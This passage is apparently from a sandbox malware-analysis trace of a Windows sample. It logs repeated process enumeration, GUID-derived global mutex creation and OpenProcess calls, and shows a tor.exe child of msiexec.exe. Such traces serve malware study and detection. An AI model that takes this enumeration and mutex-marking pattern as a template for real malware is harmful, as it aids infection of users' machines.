cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.691] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.691] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.692] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0124.693] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.694] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.695] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.695] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.696] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.697] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.698] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.699] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.700] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0124.700] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.701] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.702] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0124.702] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0124.702] GetLastError () returned 0xb7 [0124.702] CloseHandle (hObject=0x6cc) returned 1 [0124.702] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0124.703] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0124.703] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0124.703] GetLastError () returned 0xb7 [0124.703] CloseHandle (hObject=0x6cc) returned 1 [0124.703] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0124.704] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.705] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0124.705] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0124.705] GetLastError () returned 0x0 [0124.705] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0124.705] CloseHandle (hObject=0x6cc) returned 1 [0124.705] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.706] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0124.706] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0124.706] GetLastError () returned 0x0 [0124.706] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0124.706] CloseHandle (hObject=0x6cc) returned 1 [0124.706] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.707] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0124.707] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0124.707] GetLastError () returned 0xb7 [0124.707] CloseHandle (hObject=0x6cc) returned 1 [0124.707] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.708] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0124.708] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0124.708] GetLastError () returned 0x0 [0124.708] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0124.708] CloseHandle (hObject=0x6cc) returned 1 [0124.708] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0124.709] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0124.709] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0124.710] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0124.711] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0124.712] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0124.712] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0124.713] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0124.714] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0124.715] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0124.716] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0124.716] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0124.717] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0124.718] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0124.719] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0124.719] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0124.720] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0124.721] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0124.722] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0124.723] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0124.723] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0124.724] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.725] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0124.726] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.727] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0124.727] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.728] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.729] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.730] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0124.731] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.732] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0124.733] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0124.733] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0124.733] GetLastError () returned 0xb7 [0124.733] CloseHandle (hObject=0x6cc) returned 1 [0124.733] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0124.734] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0124.734] CloseHandle (hObject=0x56c) returned 1 [0124.734] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0124.839] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0124.841] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.842] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.843] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.844] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.844] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.845] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.846] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.847] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.850] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.851] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0124.852] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.853] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.853] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.854] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.856] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, 